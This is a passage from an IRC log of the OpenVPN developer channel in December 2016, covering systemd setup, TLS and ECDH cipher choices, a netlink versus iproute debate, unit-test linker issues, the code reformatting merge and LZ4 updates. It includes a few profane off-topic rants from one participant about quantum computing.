file, though) 15:57 < klow> When compiling (2.4rc1) Debian Jessie - is there a magic way to install the systemd stuff? 15:58 < klow> I see a distro/systemd dir in the tarball .. hmm 15:58 <@dazo> klow: you need --enable-systemd ... but we don't install the unit files yet .... that should be improved though ... just copy them over to /etc/systemd/system .... and run systemctl daemon-reload 15:59 < klow> ah, so I need to pass that to configure options .. or else it will be broken? 15:59 <@dazo> or else openvpn won't tell the systemd service manager it is alive :) 15:59 < klow> OK great thanks. 16:00 <@dazo> yw! 16:00 < klow> Is it bad that I'm finally just starting to figure out what systemd even does after almost 20 years with Linux ? 16:00 < klow> heh 16:01 <@dazo> hehe ... I find it great that you do just that ... it is a learning curve, and I was personally not happy in the beginning .... but once I got used to it, I can't imagine working on a non-systemd system any more 16:01 * syzzer is still in denial 16:02 <@dazo> IMO, it is truly something the Linux world needs .... I might even be flogged for saying BSD should have it too 16:02 <@dazo> (but they can't have it ... due to lack of cgroups) 16:02 <@dazo> syzzer: we need to talk about that :) 16:02 <@syzzer> no interventions! 16:02 <@dazo> :) 16:03 <@dazo> "Let me live alone in my corner of the universe!" ;-) 16:03 <@dazo> syzzer: systemd got cookies ......... 16:04 <@syzzer> haha 16:04 <@dazo> ;-) 16:06 <@syzzer> good, the "reproducible reformatting" works! 16:06 <@dazo> cool! 16:08 <@dazo> that's why I had to add the pre/post patching stuff ... to ensure uncrustify could complete the job properly without any manual intervention 16:08 <@syzzer> nice work! 16:10 <@dazo> cron2: when we push out rc2 ... I think we should start to GPG sign our commits .... starting with the "Preparing OpenVPN v2.4_rc2" commit 16:11 <@dazo> all which is needed to do, is to add -S to the git commit command line 16:11 <@dazo> git log/show supports --show-signature ... which verifies GPG signatures 16:15 * dazo decides to call it a day 16:16 * syzzer too 16:16 <@syzzer> just confirmed that the approach works on the list 16:17 <@dazo> thx! ... getting closer now .) 16:17 <@syzzer> indeed :) 16:17 <@syzzer> I'll hold off any code commits until the reformatting is done 16:17 <@syzzer> good night 16:17 <@dazo> gnight! 16:28 < eworm> uh, I hate build systems... 16:28 < eworm> $sbindir becomes ${exec_prefix}/sbin 16:29 < eworm> *sigh* 16:51 < klow> this is technically a systemd question i think .. but I copied the system files from openvpn to /etc/systemd/system/ , had to rename them (remove the @ sign ?) and systemd is now having a problem not finding ".conf" , ExecStart has a %i.conf .. Anyone know how that is suppose to be filled in? 16:51 < klow> Previously I always used debian/ubuntu packages, which automagically loaded all .conf files in /etc/openvpn/ both client and server, which was nice ;) 16:51 < klow> but I need 2.4rc1 for what Im trying to do so .. 16:59 < eworm> klow: No, keep the @... 16:59 < eworm> It expects a config file like /etc/openvpn/client/example.conf 17:00 < eworm> then start with: systemctl start openvpn-client@example.service 17:00 < klow> I see. so I actually need a separate systemd file for each config file 17:00 < klow> ? 17:01 < eworm> no 17:01 < eworm> you have openvpn-client@.service 17:02 < eworm> systemd instanciates it for you 17:17 < slypknot> klow: you do not need to cp .service files for openvpn 2.4x .. use /etc/openvpn/{server or client}/vpn_name.conf with systemctl start openvpn-{server or client}@vpn_name 18:02 < klow> is it necessary , or recommend, to use certificates/keys generated with elliptic curve options, in order to use ECDH* tls ciphers w/ OpenVPN? 18:03 < klow> I just started using easyrsa3 from github, since it has algo=ec and related options 18:03 < klow> Im just wondering if anything I'm doing with that *matters* 20:11 < ordex> morning :) 20:28 <+krzee> good evening =] 20:35 <+krzee> klow: unrelated actually 20:35 <+krzee> so no, not recommended specifically afaik 20:36 <+krzee> although i do happen to be migrating to both at the same time 20:39 <+krzee> the certs are only for authentication, totally separate than actual encryption 20:40 <+krzee> of course, the crypto they use is still plenty important, since you only want legit users connecting 22:29 < klow> krzee : I've learned from cron2 that the encryption used by the data channel of openvpn is distinct from the tls cipher - but it is my understanding that the symmetric key data used for the data channel is *exchanged* over the control channel, which is protected by the tls cipher .. 22:31 < klow> so i've compiled openvpn 2.4rc1 and set a tls cipher which uses ECDH. But when it started up, in my openvpn log I saw a warning (not critical apparently), that the EC data was not found in my certificate/key files, which got me googling again, where I found that support for EC *Certificates* was added ony in easy-rsa3 I believe 22:32 <+krzee> ok... 22:32 <+krzee> keep going 22:32 < klow> so I am unsure if it makes much difference to use EC options with easy-rsa to generate certs or the PKI in general using EC params etc 22:33 < klow> My reasoning is best tls cipher possible = least chance of compromise of tls control channels == least chance of discovery of symmetric key = least chance of sniffing actual data .. 22:33 <+krzee> the certs and the tls cipher are actually used for different things 22:33 < klow> my "customers" if you will are insisting elliptic curve is best .. i'm not a crytographer though clearly ;) 22:34 <+krzee> the certs are just auth, not encrypting anything 22:34 <+krzee> ya from all the recent crypto talks ive ingested its time for ecc 22:34 <+krzee> im also migrating over to it 22:34 <+krzee> hey maybe we can take this talk to #openvpn? 22:34 < klow> sure 22:34 < klow> thanks --- Day changed Wed Dec 14 2016 02:22 < lev__> cron2: dazo: let's come to conclusion about --async-push and --disable-plugins 02:33 <@syzzer> klow: ECDH works fine without ECDSA certs, but at some point the server code has to decide what ECDH curve to use. When you're using ECDSA, the code will use the same curve you've used for the server cert. Otherwise it will fall back to P-384 for OpenSSL <= 1.0.1, and do whatever OpenSSL want for OpenSSL >= 1.0.2. Or do what mbed TLS want if using mbed TLS. 02:34 <@syzzer> so, just a warning indeed 04:23 < Kelticfox> Question: Odd question, but does OpenVPN support SHA3? 04:24 < Kelticfox> or plan to 04:26 <@syzzer> Kelticfox: as soon as OpenSSL and/or mbed TLS offer it :) 04:26 < Kelticfox> cheers 04:27 < Kelticfox> so the SHA2-386 still stands? 04:27 <@syzzer> (though I'd probably recommend SHAKE, same internals as SHA3, but not immensely overdimensioned and thus much faster) 04:28 <@syzzer> yes, SHA-386 is just fine 04:28 < Kelticfox> Thanks. Have a customer asking about the theoretical absolute max we could do 04:29 <@syzzer> and if you're talking about the 'auth' setting, even MD5 would be fine. (Still not advisable, because you'd need to explain everybode that it's fine...) 04:29 < Kelticfox> I know 04:29 < Kelticfox> He asking for SHA3-512 04:30 < Kelticfox> just explaining that not possible currently 04:30 <@syzzer> indeed, no SHA3 support available :) 04:32 <@cron2> so if the discussion about MD5/SHA3 starts, would pointing to AES-GCM be sufficient? 04:36 <@syzzer> cron2: for the data channel, yes. (Though GHASH is a lot more fragile than HMAC-SHAx). 04:36 <@syzzer> auth is also used for --tls-auth, there it remains relevant 04:37 <@syzzer> though I'd advise to just use --tls-crypt there, of course 04:37 <@cron2> what is GHASH? 04:38 <@cron2> and what is the recommended setting for tls-crypt? AES-GCM? 04:41 <@syzzer> AES-GCM = AES-CTR (crypt) + GHASH (auth) 04:41 <@syzzer> (more or less ;) ) 04:42 <@syzzer> --tls-crypt is fixed to AES-256-CTR + HMAC-SHA-256, because we needed a nonce-misuse resistant cipher mode 04:43 <@cron2> thanks :-) - I'll nod wisely, and forget... 04:43 < ordex> :D 04:45 <@syzzer> I you want to remember, read the tls-crypt commit message. I explains the what and whys, and even provides some security analysis. 04:46 <@cron2> *that* I remember :) 05:50 < ordex> waaaah that's a book, not a commit message :D 05:51 * ordex reads 06:07 < ordex> interesting analysis :) 06:46 <@dazo> syzzer: any objections recommending to switch to -std=gnu99 if -std=c99 doesn't work? (like 32-bit RHEL5) 06:46 <@vpnHelper> RSS Update - gitrepo: man: mention that --ecdh-curve does not work on mbed TLS builds <https://github.com/OpenVPN/openvpn/commit/07d0d73a38326c0e935ea35eb12452b69abafada> || Unhide a line in man page by fixing a typo <https://github.com/OpenVPN/openvpn/commit/c22428fb609a0f4ec451200a421b5d1090a962a5> 06:49 <@syzzer> dazo: nope, no objections :) 06:49 <@syzzer> as long as we default to C99 to give devs the most useful error messages when working on openvpn 06:56 <@dazo> good! 07:04 <@vpnHelper> RSS Update - gitrepo: Changes.rst: Mainatiner update on C99 <https://github.com/OpenVPN/openvpn/commit/a7acb6b48e31c5b83983f7eb9caf308adb7b76f1> || Further enhance async-push feature description <https://github.com/OpenVPN/openvpn/commit/1a8f6b9159708a943ebdb64404de4c5fc887303b> 07:04 < ordex> any real reason to use openvpn_execve_check() with iproute commands instead of directly talking via rtnl sockets ? 07:04 * ordex is checking tun.c 07:05 <@dazo> ordex: nope, not really ... just nobody have really looked into the netlink layers in openvpn context. I have done some of that in some other projects, and it is far from as easy as it sounds 07:05 < ordex> dazo: netlink per se is just horrible :D 07:05 <@dazo> ordex: the netlink API is complex, and should ideally use some support libraries (like libnl-3) .... but even libnl is complicated 07:05 < ordex> but it would be cleaner when it comes to error handling 07:06 < ordex> yeah, been using that in other projects too 07:06 <@dazo> yeah, agreed ... and we could check for routes before trying to remove them 07:06 < ordex> right 07:06 <@dazo> if you have the guts to look at this for 2.5 ... I'm willing to review patches 07:06 < ordex> what I have done in the past was to create a library internally to the project exporting the helpers I needed and then integrating those helpers in my logic 07:06 < ordex> :D 07:06 <@dazo> but should probably be coordinated with some clean-up plans for tun.c too 07:06 < ordex> I'll check if I have guts in the following weeks then 07:07 <@cron2> "not before february", please 07:07 < ordex> good to know 07:07 < ordex> february is when 2.4 should be released ? 07:07 <@dazo> probably when cron2 have time to look at the tun.c clean-up :) 07:07 <@cron2> all the packet/ip handling will need reviewing, and "packet stuff" is usually mine... 2.4.0 will be released end of december, but then there will be a flurry of bug reports and questions and stuff 07:08 <@cron2> so I expect us to be a) exhausted, and b) fairly busy in January 07:08 < ordex> :) yeah np 07:08 < ordex> that'll need some time anyway 07:08 < ordex> no worries! you won't see much before february :) 07:09 <@cron2> using netlink is tricky for a number of reasons, though - running an external command that is reflected in the logs has the very clear benefit of "if it does not work, you can copy-paste the command to figure out *why*" 07:09 <@cron2> especially with the more weird stuff like VRFs and net name spaces 07:09 <@dazo> well, we do need proper error handling if we do netlink stuff 07:09 <@cron2> "sending binary chunks of data down a just so slightly complicated API" means "we have no idea what we are doing" 07:10 < ordex> right, athough with netlink you get better error reporting and openvpn might be able to do better error handling 07:10 <@cron2> unless we also add a very concise and verifiably correct printer for "what are we trying to achieve?" 07:10 < ordex> yup 07:11 <@cron2> I'm not biting on the "better error handling". What do we want to do with the errors, except what we do today - "ignore, and remember that we do not need to remove this particular route on exit" 07:12 <@cron2> for server-pushed routes, we can't be sure that there will not be conflicts with existing other stuff on the client side, so "fail" is out, and "remove pre-existing route" is also something we should not do (there is doom) 07:13 <@dazo> well, with netlink, the openvpn process can drop root privileges but keep the more restrictive CAP_NET_ADMIN ... and actually clean-up stuff far better without root privileges 07:13 <@cron2> isn't CAP_NET_ADMIN sufficient to run iproute2? 07:13 <@dazo> so netlink does have merrits ... and it can even open up for having --route in CCD files on the server 07:14 <@dazo> not during my simple testing ages ago 07:14 <@dazo> but things may have improved, as we do some capability dropping with systemd these days anyhow 07:14 <@dazo> but this will allow us to drop capabilities also outside of systemd 07:15 < ordex> the man says that CAP_NET_ADMIN should allow to "modify the routing table" 07:15 <@cron2> it's still a trade off that needs to be carefully weighted - what we have now is clumsy and slow, but the exact command run is very clearly visible in the logs, and not dependend on linux innards - we'd replace that with a very complex API that tends to "just not work" if you do not fill in all of the binary bits correctly, and it's hard to figure out that stuff 07:16 <@dazo> well, if we do the programming right, "the binary bits" will always be correct ... so that's not a real argument 07:16 <@cron2> I'm using it to query IPv6 routing table info, and that was interesting, but made me reconsider whether I think this is a good API to do something simple and straight-forward 07:16 < ordex> simple and straight-forward does not aply to netlink .. 07:16 <@cron2> dazo: yeah, someone needs to do that, and maintain it 07:16 < ordex> but this does not mean we can't get it right 07:16 <@dazo> +1 07:17 <@dazo> which is also why I'd prefer a solution which involves a library to help doing things right 07:17 < ordex> it will also allow the code to be easily (minus netlink complexity) extendible in the future 07:17 <@dazo> cron2: we still push bits properly to the tun/tap devices ... and get that right most of the time ... so it isn't impossible 07:18 <@cron2> dazo: that's a totally different thing - "take a packet, do not modify it, but stuff it into a FD" is something very different from "build a linked list of things that are sparsely documented, and expect that to do the right thing kernel-side" 07:18 <@dazo> like th DHCP packets we generate for the windows tap drier? 07:19 < ordex> cron2: the kernel headers are well documents when it comes to the bits to squeeze in the messages 07:19 < ordex> yeah, there is no real doc/man 07:19 <@cron2> dazo: I'm not saying that this is a nice approach to things - and if you had looked at the TAP driver code, you'd share my sentiments :-) 07:20 <@cron2> ordex: if you have it all working, it's somewhat easy to find documentation that agrees with your approach. But if some part is not filled in properly, nothing will tell you "oh, that bit is missing" - if at all, you get an EINVAL or "no response" 07:20 <@dazo> I'm just not so sceptic to really look at improving areas which I do believe can benefit from an improvement ... lack of bravery doesn't get the world moving forward 07:20 < ordex> cron2: that's true 07:21 <@cron2> dazo: trade benefit against complexity, not argue for change just "because someone could do it" 07:21 <@dazo> executing external binaries are tangled with their own set of security challenges as well 07:22 <@cron2> having a library with a sane API (like, Windows...) to "here's a route, go install it!", with a single structure that describes what you want to set and no complex event handling wrapped around it would be a good way forward 07:22 <@dazo> well, if we don't have that library ... lets write one. 07:22 <@cron2> feel free to 07:22 < ordex> agree with dazo 07:22 < ordex> that's what I meant before 07:23 < ordex> to write a smaller rtnl module in openvpn which will be tailored to the use cases we have 07:23 <@cron2> I haven't seen a convincing discussion about the trade-offs, so I'm not going to code that 07:23 <@dazo> ordex and I will look into that 07:23 < ordex> to me, knowing that the setup routine won't need to fork N times to setup the routing table 07:24 < ordex> is already happiness :p 07:24 < ordex> sounds good to me 07:25 <@cron2> as I said - what we have is clumsy and slow, but very easy to see "oh, it tried to do *this*" 07:26 <@cron2> and since I'm maintaining that shit since a few years now, I trade "I can see in users' debug logs what went wrong" vs. "fast and brilliant" any day 07:27 <@cron2> convince me that we can do this with netlink ("code that is mostly self-documenting, easy to understand, and easy to trace in case it does not work"), and I'm all in :-) 07:27 < ordex> :) 07:27 < ordex> makes sense from your perspective 07:44 < lev__> :wq 07:44 < lev__> oops :) 07:46 < ordex> don't quit us ! 07:46 < ordex> glad to have other vimers around ;) 08:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds] 10:15 < ordex> is it possible to link github to travis-ci so that it runs automatically on every push/pull-request/something ? 10:17 < ordex> otherwise, I could do that for my repo directly - I see that travis.yml is there already :) 10:27 <@syzzer> ordex: we already do that :) 10:27 < ordex> syzzer: so, if I make a pull request on git hub, it will trigger the travis-ci build automatically ? 10:27 <@syzzer> yes 10:27 < ordex> oky, cool :) 10:27 < ordex> I saw that on the mbedtls repo 10:28 <@syzzer> (and it will fail, becaue the OSX builds are broken, but you can safely ignore that for now) 10:28 < ordex> :) 10:28 < ordex> who cares about osx :P 10:28 <@syzzer> soemone needs to figure out how to use cmocka on OSX 10:28 <@syzzer> I haven't touched OSX devices for years, so I'm not taking up that one ;) 10:29 < ordex> :) 11:02 <@ecrist> what is cmocka? 11:02 * ecrist uses OSX 11:11 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:11 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:31 <@syzzer> ecrist: unit test framework 11:31 <@syzzer> wants to use --wrap linker option, which doesn't work on OSX 11:32 <@syzzer> see https://travis-ci.org/OpenVPN/openvpn/jobs/183908922 11:32 <@vpnHelper> Title: Travis CI - Test and Deploy Your Code with Confidence (at travis-ci.org) 12:03 <@d12fk> \o/ finally have time to follow up the three open argv patches 12:04 <@dazo> \o/ 12:04 <@d12fk> and there was a question about --wrap from dazo or cron2? 12:04 * d12fk is not a --wrap expert 12:04 <@d12fk> just following the examples given in the docs 12:11 <@dazo> d12fk: your unit test build fails on the OSX compiler plaisthos uses ... due to --wrap=parse_line .... will it be a massive thing to just have a local parse_line()? 12:12 <@d12fk> what was the outcome of the talk between plaisthos and the guys from #cmocka? 12:12 <@dazo> I dunno 12:13 <@dazo> I haven't seen any patches after that 12:13 <@d12fk> i thought it should work with clang as well in principle or did it turn out not to? 12:13 <@d12fk> maybe plaisthos can tell us 12:13 <@dazo> yeah :) 12:16 <@plaisthos> what does parse_line do anyway? 12:16 <@plaisthos> I only heard the chat here 12:16 <@plaisthos> and that was like hm clang ld does not support that 12:16 <@d12fk> it is from options.c and parses a line, duh =) 12:16 <@dazo> src/openvpn/options.c:3774 .... 12:16 <@plaisthos> okay 12:17 * plaisthos looks again what wrap does 12:17 <@dazo> plaisthos: --wrap is just a way to avoid needing to carry that function into the binary being built and not fail when it isnt present 12:17 <@dazo> well, we ship a small wrapped parse_line in the unit test, iirc 12:18 <@d12fk> thing is plarse_line is hard to mock, with all the escaping going on possibly, that's why i wrped in the first place 12:18 <@dazo> (so the linker "wraps" things around using the local one instead ... something like that) 12:19 <@d12fk> and linking options.c is impossible without linking the rest of openvpn as well 12:19 <@dazo> yeah :/ 12:20 <@plaisthos> wrap is elegant solution to the problem 12:21 <@dazo> yeah, it is :) 12:21 <@d12fk> does the llvm linker not have --wrap? 12:21 <@plaisthos> no 12:22 <@plaisthos> you hack something together with #define 12:22 <@d12fk> hm, then cmocka is gcc only when it comes to mocking 12:22 <@plaisthos> but that would be very error prone 12:22 <@plaisthos> dazo: gnu ld actually 12:22 <@dazo> I thought I had tested clang on my box .... /me does a reconfig 12:22 <@plaisthos> dazo: clang on linux probably still uses gnu ld 12:23 <@d12fk> right, ld not gcc, the compler just passes on the option 12:32 <@dazo> $ clang --version 12:32 <@dazo> clang version 3.4.2 (tags/RELEASE_34/dot2-final) 12:32 <@dazo> Target: x86_64-redhat-linux-gnu 12:32 <@dazo> Thread model: posix 12:32 <@dazo> this compiles with --wrap 12:33 <@dazo> or rather, the argv_testdriver builds successfully with --wrap using clang-3.4.2 12:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: Lost terminal] 13:33 <@vpnHelper> RSS Update - tickets: #790: man page update to --tls-auth for 2.4 <https://community.openvpn.net/openvpn/ticket/790> 15:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:14 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 15:17 < slypknot> ecrist: mattock: it is bad form to moderate myself, in this instance I will eave this for you to decide: https://forums.openvpn.net/mcp.php?i=reports&mode=report_details&f=6&p=66346&sid=5ee17df54e007832f138b4f0e19d98a2 15:17 <@vpnHelper> Title: OpenVPN Support Forum - Moderator Control Panel - Login (at forums.openvpn.net) 15:17 < slypknot> leave* this 15:37 <@vpnHelper> RSS Update - gitrepo: dev-tools: Add reformat-all.sh for code style unification <https://github.com/OpenVPN/openvpn/commit/2417d55c4945d491e528dd0e4cf24047da5ceae9> 15:57 < slypknot> klow (~textual@c-98-247-49-57.hsd1.wa.comcast.net) has quit (Quit: My MacBook has gone to 15:57 < slypknot> 4 ever .. 15:57 < klow> gah, sorry 15:58 < slypknot> np .. can you sort it please ;) 19:36 < slypknot> Does anybody here actually believe that a 'post-quantum world' will be a reality within their actual life time ? 19:39 < slypknot> in terms of probability .. i think aliens are more likely .. and big fkn nasty aliens with double mouths and acid blood, are more likely than 'quatum computing' 19:40 < slypknot> some Red Hot Beans and Chilli is what you need to worry about ! 19:41 < slypknot> Define .. Variable that equals Everything ..... 19:41 < slypknot> crok of utter shit 19:42 < slypknot> collapse the wave function .. 19:43 < slypknot> collapse your *************** die 19:49 < slypknot> for arguments sake: let us say we have the know how to define an infinite variable 19:50 < slypknot> we then apply to that variable the gist of what it is we want to know 19:50 < slypknot> and the variable .. says "No" 19:51 < slypknot> there is gonna be a lot, i mean a real lot (10^x^x^X) of "no" 19:52 < slypknot> and then some Pi 19:55 < slypknot> Quantum computer's and Carlos Castaneda's .. leap of faith .. do you believe. ? 19:57 < slypknot> my arse 20:02 < slypknot> there is not a single scolar of any dicsipline with the balls to claim that "quantum anything" is more than the square-root of the sum of thier nuts in a 27 demensional universe with fuckin bells on ! 20:03 < slypknot> "light " relief 20:04 <+krzee> slypknot: yes i do 20:04 <+krzee> the top cryptomasters (who i have been listening to for about 2 nights straight) say it will be 10-15 yrs 20:04 < slypknot> krzee: :) 20:05 <+krzee> and they know more than you or i 20:05 < slypknot> bollux mate 20:05 < slypknot> they big it up 20:05 < slypknot> we can take this to #openvpn if you prefer 20:05 <+krzee> yes please 20:27 < slypknot> poof 21:30 < slypknot> mm 21:32 < slypknot> some poof blocked me from #openvpn because they believe in quantum bollox , i do not believe in that shit so unblock me you coward 22:10 < klow> Heya.. compiled 2.4rc1 on debian fine, but when running get Unknown symbol __sk_detach_filter .. this ring any bells? 22:12 < klow> thats from dmesg, openvpn log says no tun interface consequently. Looks like a kernel module won't load? I'm just using stock jessie kernel - 3.16.0-4-amd64 23:09 < klow> ^ ignore, had something to do with my /proc/cmdline from my netbooting. very strange though, couldnt modprob tun. 23:10 < ordex> klow: yes, sound slike a kernel module couldn't load because of a missing symbol 23:10 < ordex> oh you sorted it out already :) --- Day changed Thu Dec 15 2016 00:16 < klow> Ya thanks. Im still not exactly sure why it wasnt working, I basically had to add a step to my ansible routine to reboot the VM and get rid of the kernel 'append' /proc/cmdline stuff, though maybe it was something else related to reboot. 01:11 <@cron2> mornin' 01:12 <@cron2> slypknot: well, since syzzer and I also believe in "quantum bollox", you might be careful with your statements :-) 01:13 <@cron2> slypknot: and quantum *physics* very nicely demonstrated over the last 40 years that what everybody believed to be "bollox" has actual and physical consequences 01:13 <@cron2> like, building a transistor :-) 01:14 <@cron2> nobody claims it will be there in 5 years, and the actual math to build a useful "computer-thing" from quantum theory is extremely hard 01:15 <@cron2> but then, most people wouldn't understand the math behind ECDHE either, no? 01:27 <@cron2> ... so... off to a security workshop in Bonn... bbl tonight 04:09 <@vpnHelper> RSS Update - tickets: #791: "Ignoring SIGUSR1" log message flood <https://community.openvpn.net/openvpn/ticket/791> 04:09 <@dazo> slypknot: https://www.youtube.com/watch?v=DZ2DcILZAbM .... fair enough, it's not too many qubits yet, but hey, the first commercial microprocessor which had some use was only 4 bits https://en.wikipedia.org/wiki/Intel_4004 04:10 <@vpnHelper> Title: Intel 4004 - Wikipedia (at en.wikipedia.org) 04:15 <@d12fk> don you see he's only trolling 04:15 <@d12fk> but he has a point cumputahs are bollocks 04:16 <@dazo> heh 04:44 <@dazo> mattock: did you kick off a buildbot run on the reformatting branch? 04:46 <@d12fk> so it is happening? what forat did you apply 04:46 <@d12fk> *format 04:49 <@dazo> d12fk: gitlab, github and sf.net stable git repos have now a 'reformatting' branch where you can have a look 04:49 <@dazo> master + reformatting branch also have the script used for the reformatting 05:38 <@mattock> dazo: not yet, but can do it now 05:47 <@mattock> dazo: the fedora 24 buildslave did not seem to explode when building from the "reformatting" branch 05:48 <@mattock> the Git buildstep might explode if stuff is force-pushed to the branch, but we'll see 05:48 <@mattock> I will trigger all builds next 05:51 <@mattock> switching back to "master" branch did not break things, so we're good 05:53 <@mattock> the "Great Build Process" has started now 06:16 <@dazo> cron2: your netbsd51 boxes seems to be less happy today ... do you know what's going on? 06:27 <@dazo> mattock: can you please have a look at "builder-ubuntu-1204-i386-stable-master--with-crypto-library=mbedtls--enable-crypto"? it has been failing for very long 06:27 <@dazo> it's due to a '=' in the directory path of the buildroot, iirc 06:35 <@dazo> cron2: two issues have appeared on your netbsd boxes since last build ... git update of cmocka fails, due to certificate issues when accessing the https:// remote repos ... and some new autoconf and libtool issues 06:37 <@dazo> cron2: considering the only change between yesterday (which was successful) and today is related to the reformatting branch ... I struggle to see that should have caused any autoconf/libtool issues - we we only touch *.[ch] files 06:37 <@dazo> so wondering if there's been some OS updates since last run? 06:42 <@dazo> Even though not all builds have completed ... there's a lot of successful buidls on ubuntu, debian, centos, arch, fedora, most osx, openbsd, freebsd, opensolaris .... only netbsd having issues 06:44 <@dazo> I think this looks good enough for a merge. 06:46 <@dazo> syzzer: now we have a challenge ... in regards the reformatting merge .... if I rebase or merge, it will end up in doing a fast-forward ... which preserves the commitish 06:47 <@dazo> but if I want to add a note with URLs, message-IDs and Acked-by: .... then the committish will be modified 06:48 <@dazo> oh ... let me test git merge --no-ff .... that might be the solution 06:50 <@dazo> yes, that can work! 06:50 < ordex> :) 06:57 * dazo pushes it out 07:00 <@vpnHelper> RSS Update - gitrepo: Merge 'reformatting' branch into master <https://github.com/OpenVPN/openvpn/commit/1f004b2f06e987d73e48f7fd7b96b0b248274f58> || The Great Reformatting - first phase <https://github.com/OpenVPN/openvpn/commit/81d882d5302b8b647202a6893b57dfdc61fd6df2> 07:17 <@mattock> netbsd fails because cmocka update fails 07:39 <@dazo> eworm: I was just looking into the LZ4 warning as well :) 07:40 <@dazo> eworm: do you know for how long that have been deprecated? 07:40 < eworm> dazo: Not sure... Did not find information by googling 07:42 <@dazo> because I think that appeared fairly recent .... I'm checking my update logs now .... because I don't think the compat-lz4 library we ship (if system wide liblz4 can't be found) have that function deprecated ... which means we should probably consider a compat-lz4 update as well 07:42 <@dazo> Dec 08 23:56:57 Updated: lz4.x86_64 1.7.3-1.el7 07:42 <@dazo> Dec 08 23:56:58 Updated: lz4-devel.x86_64 1.7.3-1.el7 07:42 < eworm> dazo https://github.com/lz4/lz4/commit/3580d9698098e8ad2ef757d1c3673aceca38c576 07:42 <@vpnHelper> Title: enabled deprecation warnings on remaining obsolete functions · lz4/lz4@3580d96 · GitHub (at github.com) 07:43 <@dazo> right 07:48 <@dazo> meh .... your MUA is crappy, eworm ..... 07:48 <@dazo> Content-Type: text/plain; charset="utf-8" 07:48 <@dazo> Content-Transfer-Encoding: base64 07:49 <@plaisthos> dazo: but at least no garbled stuf 07:49 <@plaisthos> just copy and paste into git am 07:49 <@plaisthos> git am will parse that just fine 07:49 <@dazo> ahh, okay .... git apply did not ... I don't do git am when testing patches 07:50 <@plaisthos> there is a non commit flag for am 07:50 <@dazo> trying to find that one .... 07:50 <@plaisthos> I like git am more since that allows CMD+A, CMD+C in the sourdce code view of the mail 07:51 <@dazo> that's what I do as well with thunderbird on single patches .... if I have a bunch of patches, I use alpine 07:51 <@plaisthos> hm 07:51 <@plaisthos> git am has no such flag 07:52 <@dazo> good, it wasn't my older git version :) 07:52 * dazo uses a review branch 07:56 <@dazo> okay, so the LZ4 patch builds with both lz4-r131-1.el7.x86_64 and lz4-1.7.3-1.el7.x86_64 07:56 <@dazo> 1.7.3 is the one introducing this warning 07:56 < eworm> LZ4_VERSION_NUMBER appeared any time in history... :-p 07:57 <@dazo> :) 07:57 * dazo brb 07:57 < eworm> conditional use of functions will be crap 08:00 <@cron2> dazo: wrt netbsd51, I think the culprit is here - Clone of 'https://git.cryptomilk.org/projects/cmocka.git' into submodule path 'vendor/cmocka' failed 08:01 <@cron2> mattock: did you change something in the buildmaster wrt. submodule init? This machine is not allowed to "talk to the Internet", so I can see why it fails - but it should have failed weeks ago when we changed the cmocka URL 08:02 <@cron2> what's that with LZ4? (I've been offline most of the day) 08:06 <@cron2> *sigh*. netbsd51 is unhappy because git fails *SSL verification* of https://git.cryptomilk.org/ 08:06 <@vpnHelper> Title: cryptomilk git repositories - open milk (at git.cryptomilk.org) 08:07 <@cron2> mattock: can you control on the buildmaster which slaves get "git submodule init" and which ones do not? nbsd51 has no cmake, so won't build cmocka anyway - and we do not actually *need* the unit tests on all platforms, I think 08:18 <@dazo> cron2: 08:18 <@dazo> warning: ‘LZ4_compress_limitedOutput’ is deprecated: use 08:18 <@dazo> LZ4_compress_default() instead 08:18 <@cron2> found the mail thread by now, thanks. Haven't seen that yet, but my build system usually do not have lz4 installed at all, or "more older versions" 08:19 <@dazo> yeah, it appeared for me after Dec 8-ish ... where my system got an updated lz4 lib 08:19 <@cron2> I think it needs a quick smoke-test whether it does not break our bundled lz4 compat tree (no idea if we #define anything), but otherwise looks reasonable 08:19 <@dazo> I think we should see this patch in relation to a version update of compat-lz4 08:20 <@dazo> iirc, there have been some security updates in lz4 recently 08:21 <@plaisthos> yeah 08:21 <@plaisthos> iirc for >2gb or so 08:23 <@cron2> plaisthos: since we compress each packet individually, 2G limits are not truly relevant :) 08:23 <@cron2> I've done a LZ4 upstream refresh a few months ago - anything security relevant since then? 08:25 <@dazo> I'm trying to figure out what has happened now 08:26 <@cron2> what we have in ree is almost exactly upstream "at that time", just renaming lz4.h to compat-lz4.h and changing the includes 08:27 <@dazo> cron2: your update based upon 1.7.3? 08:27 <@cron2> it should be in the commit log, let me check 08:28 <@cron2> r131, commit 46e4b6639a95, June 9 08:28 <@cron2> the commit message has clear instructions what to do to import a new upstream release :) 08:29 <@dazo> okay, that is the old version I used to have .... I can submit such an upgrade for review, but nothing we'll bother with in 2.4.0 08:30 <@cron2> if there is something security relevant in there, we might do a reimport (which is easy to review) - but "2G streams" is not :) 08:31 <@dazo> from their changelog, I don't see any burning issues .... https://github.com/lz4/lz4/releases 08:31 <@vpnHelper> Title: Releases · lz4/lz4 · GitHub (at github.com) 08:34 <@cron2> indeed. Speedup is nice, but not pressing 08:36 <@dazo> src/compat/compat-lz4.c | 820 +++++++++++++--------------- 08:36 <@dazo> src/compat/compat-lz4.h | 377 ++++++++----- 08:36 <@dazo> 2 files changed, 619 insertions(+), 578 deletions(-) 08:36 <@dazo> not a small change :) 08:38 <@cron2> did you reformat compat-lz4* ? 08:38 <@dazo> nope 08:38 <@dazo> on puprose 08:38 <@dazo> just to make such updates more manageable 08:38 <@cron2> I admit I did not check, but that could have explained the large change :) 08:39 <@cron2> but the lz4 upstream folks like doing reformats, like changing all comments from C++ to C style on the last update (which was huge, with small actual code difference) 08:39 <@dazo> yeah ... there's a variety of changes ... but lots of real code change this time 08:40 <@dazo> oh well, there are some odd whitespace stuff too though 08:53 <@dazo> [OT] ... https://pbs.twimg.com/media/CzpAdJ6WEAEsvKt.jpg 09:01 <@mattock> cron2: I can make the buildslave do whatever we want - the expections just require extra code 09:01 <@cron2> in that case, if it's not too painful, please leave out cmocka on nbsd51 :) 09:02 <@cron2> we should revisit this later (aka "fix the ssl downloading" and "install cmake") 09:02 <@mattock> cron2: git submodule init has not been touched 09:02 <@mattock> I'll look into disabling cmocka on nbsd51 09:02 <@cron2> I think the server might 